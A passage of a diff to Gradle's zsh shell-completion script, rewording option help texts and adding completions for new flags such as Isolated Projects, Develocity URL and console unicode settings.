                 '--types[Show task class types]' && ret=0
             ;;
         (test)
@@ -245,11 +245,15 @@ __gradle_subcommand() {
                 '--gradle-distribution-url=[The URL to download the Gradle distribution from.]' \
                 '--gradle-version=[The version of the Gradle distribution required by the wrapper. The following labels are allowed: latest, release-candidate, release-milestone, release-nightly, and nightly.]' \
                 '--network-timeout=[Timeout in ms to use when the wrapper is performing network operations.]' \
+                '--retries=[The number of download retries.]' \
+                '--retry-back-off-ms=[The initial back off in milliseconds between retries (doubles on each failure).]' \
                 '--validate-url[Sets task to validate the configured distribution url.]' && ret=0
             ;;
         (*)
             _arguments -C \
-                '-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories' \
+                '-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
+                '-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
+                '-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories' \
                 '-Dorg.gradle.caching.debug=[]' \
                 '-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false)' \
                 '-Dorg.gradle.configuration-cache.entries-per-key=[]' \
@@ -260,24 +264,29 @@ __gradle_subcommand() {
                 '-Dorg.gradle.configuration-cache.integrity-check=[]' \
                 '-Dorg.gradle.configuration-cache.max-problems=[]' \
                 '-Dorg.gradle.configuration-cache.parallel=[]' \
-                '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn)' \
+                '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn)' \
                 '-Dorg.gradle.configuration-cache.read-only=[]' \
                 '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]' \
                 '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-                '-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
-                '-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
-                '-Dorg.gradle.continue=[Continue task execution after a task failure.]' \
+                '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]' \
+                '-Dorg.gradle.console.interactive=[]' \
+                '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
+                '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose)' \
+                '-Dorg.gradle.continue=[Continues task execution after a task failure.]' \
                 '-Dorg.gradle.continuous.quietperiod=[]' \
                 '-Dorg.gradle.daemon.healthcheckinterval=[]' \
                 '-Dorg.gradle.daemon.idletimeout=[]' \
                 '-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories' \
-                '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
+                '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
                 '-Dorg.gradle.debug.host=[]' \
                 '-Dorg.gradle.debug.port=[]' \
                 '-Dorg.gradle.debug.server=[]' \
                 '-Dorg.gradle.debug.suspend=[]' \
                 '-Dorg.gradle.debug=[]:org.gradle.debug:(true false)' \
-                '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
+                '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off)' \
+                '-Dorg.gradle.isolated-projects.dangerously-ignore-problems=[]' \
+                '-Dorg.gradle.isolated-projects.diagnostics=[]' \
+                '-Dorg.gradle.isolated-projects=[Enables Isolated Projects. Projects are configured in parallel. Implies `--configuration-cache`.]' \
                 '-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories' \
                 '-Dorg.gradle.java.installations.auto-detect=[]' \
                 '-Dorg.gradle.java.installations.auto-download=[]' \
@@ -288,69 +297,75 @@ __gradle_subcommand() {
                 '-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug)' \
                 '-Dorg.gradle.logging.stacktrace=[]' \
                 '-Dorg.gradle.native=[]' \
-                '-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
-                '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low)' \
-                '-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]' \
-                '-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
-                '-Dorg.gradle.unsafe.isolated-projects=[]' \
+                '-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
+                '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low)' \
+                '-Dorg.gradle.problems.report=[Enables the HTML problems report.]' \
+                '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
+                '-Dorg.gradle.tooling.parallel=[]' \
                 '-Dorg.gradle.vfs.verbose=[]' \
-                '-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false)' \
-                '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']' \
+                '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false)' \
+                '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]' \
                 '-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never)' \
-                '-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]' \
+                '-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
                 (--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
                 (--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-                '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn)' \
-                (--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
-                '--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose)' \
-                (--no-continue)'--continue[Continue task execution after a task failure.]' \
+                '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn)' \
+                (--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
+                '--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose)' \
+                '--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
+                (--no-continue)'--continue[Continues task execution after a task failure.]' \
                 {-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
-                (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
-                (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
-                {-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off)' \
-                {-m,--dry-run}'[Run the builds with all task actions disabled.]' \
-                \*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
+                (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
+                (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
+                {-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off)' \
+                '--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
+                '--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
+                {-m,--dry-run}'[Runs the build with all task actions disabled.]' \
+                \*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
                 '--export-keys[Exports the public keys used for dependency verification.]' \
                 '--foreground[Starts the Gradle daemon in the foreground.]' \
-                (--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
-                {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories' \
-                \*'--include-build[Include the specified build in the composite.]:include build:_directories' \
-                (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \
-                \*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
-                '--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]' \
+                (--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
+                {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories' \
+                \*'--include-build[Includes the specified build in the composite.]:include build:_directories' \
+                (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
+                \*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
+                (--no-isolated-projects)'--isolated-projects[Enables Isolated Projects. Projects are configured in parallel. Implies `--configuration-cache`. (incubating)]' \
+                '--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
                 (--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
                 (--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
                 (--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
-                (--continue)'--no-continue[Stop task execution after a task failure.]' \
-                (--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
-                (--parallel)'--no-parallel[Disables parallel execution to build projects.]' \
-                (--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \
-                {-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
+                (--continue)'--no-continue[Stops task execution after a task failure.]' \
+                (--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
+                (--isolated-projects)'--no-isolated-projects[Disables Isolated Projects. (incubating)]' \
+                (--parallel)'--no-parallel[Disables parallel project execution.]' \
+                (--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
+                {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
                 (--scan)'--no-scan[Disables the creation of a Build Scan.]' \
-                (--watch-fs)'--no-watch-fs[Disables watching the file system.]' \
-                '--offline[Execute the build without accessing network resources.]' \
-                (--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
-                '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']' \
-                (--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \
-                '--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
-                '--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories' \
-                {-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories' \
-                '--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \
-                (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \
-                {-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \
-                '--refresh-keys[Refresh the public keys used for dependency verification.]' \
+                (--watch-fs)'--no-watch-fs[Disables file system watching.]' \
+                '--non-interactive[Do not do interactive prompting. (incubating)]' \
+                '--offline[Runs the build without accessing network resources.]' \
+                (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
+                '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]' \
+                (--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
+                '--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
+                '--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories' \
+                {-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories' \
+                '--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
+                (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
+                {-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
+                '--refresh-keys[Refreshes the public keys used for dependency verification.]' \
                 '--rerun[Causes the task to be re-run even if up-to-date.]' \
-                '--rerun-tasks[Ignore previously cached task results.]' \
-                (--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \
+                '--rerun-tasks[Ignores previously cached task results.]' \
+                (--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
                 {-V,--show-version}'[Print version info and continue.]' \
-                (--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
-                '--task-graph[(Experimental) Print task graph instead of executing tasks.]' \
-                \*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \
-                (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \
-                '--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none)' \
-                (--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \
-                '--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \
-                {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]' && ret=0
+                (--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
+                '--task-graph[Prints the task graph instead of executing tasks.]' \
+                \*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
+                (--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
+                '--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none)' \
+                (--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
+                '--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
+                {-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]' && ret=0
             ;;
     esac
 
@@ -376,7 +391,9 @@ _gradle() {
     typeset -A opt_args
 
     _arguments -C \
-'-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories:->argument-expected' \
+'-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
+        '-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
+        '-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories:->argument-expected' \
         '-Dorg.gradle.caching.debug=[]:->argument-expected' \
         '-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false):->argument-expected' \
         '-Dorg.gradle.configuration-cache.entries-per-key=[]:->argument-expected' \
@@ -387,24 +404,29 @@ _gradle() {
         '-Dorg.gradle.configuration-cache.integrity-check=[]:->argument-expected' \
         '-Dorg.gradle.configuration-cache.max-problems=[]:->argument-expected' \
         '-Dorg.gradle.configuration-cache.parallel=[]:->argument-expected' \
-        '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
+        '-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
         '-Dorg.gradle.configuration-cache.read-only=[]:->argument-expected' \
         '-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \
         '-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \
-        '-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
-        '-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
-        '-Dorg.gradle.continue=[Continue task execution after a task failure.]:->argument-expected' \
+        '-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
+        '-Dorg.gradle.console.interactive=[]:->argument-expected' \
+        '-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
+        '-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
+        '-Dorg.gradle.continue=[Continues task execution after a task failure.]:->argument-expected' \
         '-Dorg.gradle.continuous.quietperiod=[]:->argument-expected' \
         '-Dorg.gradle.daemon.healthcheckinterval=[]:->argument-expected' \
         '-Dorg.gradle.daemon.idletimeout=[]:->argument-expected' \
         '-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories:->argument-expected' \
-        '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]:->argument-expected' \
+        '-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]:->argument-expected' \
         '-Dorg.gradle.debug.host=[]:->argument-expected' \
         '-Dorg.gradle.debug.port=[]:->argument-expected' \
         '-Dorg.gradle.debug.server=[]:->argument-expected' \
         '-Dorg.gradle.debug.suspend=[]:->argument-expected' \
         '-Dorg.gradle.debug=[]:org.gradle.debug:(true false):->argument-expected' \
-        '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
+        '-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
+        '-Dorg.gradle.isolated-projects.dangerously-ignore-problems=[]:->argument-expected' \
+        '-Dorg.gradle.isolated-projects.diagnostics=[]:->argument-expected' \
+        '-Dorg.gradle.isolated-projects=[Enables Isolated Projects. Projects are configured in parallel. Implies `--configuration-cache`.]:->argument-expected' \
         '-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories:->argument-expected' \
         '-Dorg.gradle.java.installations.auto-detect=[]:->argument-expected' \
         '-Dorg.gradle.java.installations.auto-download=[]:->argument-expected' \
@@ -415,73 +437,79 @@ _gradle() {
         '-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug):->argument-expected' \
         '-Dorg.gradle.logging.stacktrace=[]:->argument-expected' \
         '-Dorg.gradle.native=[]:->argument-expected' \
-        '-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
-        '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low):->argument-expected' \
-        '-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]:->argument-expected' \
-        '-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
-        '-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \
+        '-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
+        '-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low):->argument-expected' \
+        '-Dorg.gradle.problems.report=[Enables the HTML problems report.]:->argument-expected' \
+        '-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
+        '-Dorg.gradle.tooling.parallel=[]:->argument-expected' \
         '-Dorg.gradle.vfs.verbose=[]:->argument-expected' \
-        '-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false):->argument-expected' \
-        '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:->argument-expected' \
+        '-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false):->argument-expected' \
+        '-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:->argument-expected' \
         '-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never):->argument-expected' \
-        '-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
+        '-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
         (--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
         (--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
-        '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn):->argument-expected' \
-        (--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
-        '--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
-        (--no-continue)'--continue[Continue task execution after a task failure.]' \
+        '--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn):->argument-expected' \
+        (--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
+        '--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
+        '--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
+        (--no-continue)'--continue[Continues task execution after a task failure.]' \
         {-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
-        (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
-        (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
-        {-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
-        {-m,--dry-run}'[Run the builds with all task actions disabled.]' \
-        \*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
+        (--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
+        (--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
+        {-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
+        '--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
+        '--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
+        {-m,--dry-run}'[Runs the build with all task actions disabled.]' \
+        \*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
         '--export-keys[Exports the public keys used for dependency verification.]' \
         '--foreground[Starts the Gradle daemon in the foreground.]' \
-        (--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
-        {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories:->argument-expected' \
+        (--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
+        {-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories:->argument-expected' \
         {-h,--help}'[Shows a help message.]' \
-        \*'--include-build[Include the specified build in the composite.]:include build:_directories:->argument-expected' \
-        (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \
-        \*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
-        '--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
+        \*'--include-build[Includes the specified build in the composite.]:include build:_directories:->argument-expected' \
+        (--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
+        \*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
+        (--no-isolated-projects)'--isolated-projects[Enables Isolated Projects. Projects are configured in parallel. Implies `--configuration-cache`. (incubating)]' \
+        '--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
         (--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
         (--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
         (--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
-        (--continue)'--no-continue[Stop task execution after a task failure.]' \
-        (--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
-        (--parallel)'--no-parallel[Disables parallel execution to build projects.]' \
-        (--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \
-        {-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
+        (--continue)'--no-continue[Stops task execution after a task failure.]' \
+        (--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
+        (--isolated-projects)'--no-isolated-projects[Disables Isolated Projects. (incubating)]' \
+        (--parallel)'--no-parallel[Disables parallel project execution.]' \
+        (--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
+        {-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
         (--scan)'--no-scan[Disables the creation of a Build Scan.]' \
-        (--watch-fs)'--no-watch-fs[Disables watching the file system.]' \
-        '--offline[Execute the build without accessing network resources.]' \
-        (--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
-        '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:->argument-expected' \
-        (--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \
-        '--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
-        '--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
-        {-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories:->argument-expected' \
-        '--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \
-        (--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \
-        {-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \
-        '--refresh-keys[Refresh the public keys used for dependency verification.]' \
+        (--watch-fs)'--no-watch-fs[Disables file system watching.]' \
+        '--non-interactive[Do not do interactive prompting. (incubating)]' \
+        '--offline[Runs the build without accessing network resources.]' \
+        (--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
+        '--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:->argument-expected' \
+        (--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
+        '--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
+        '--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories:->argument-expected' \
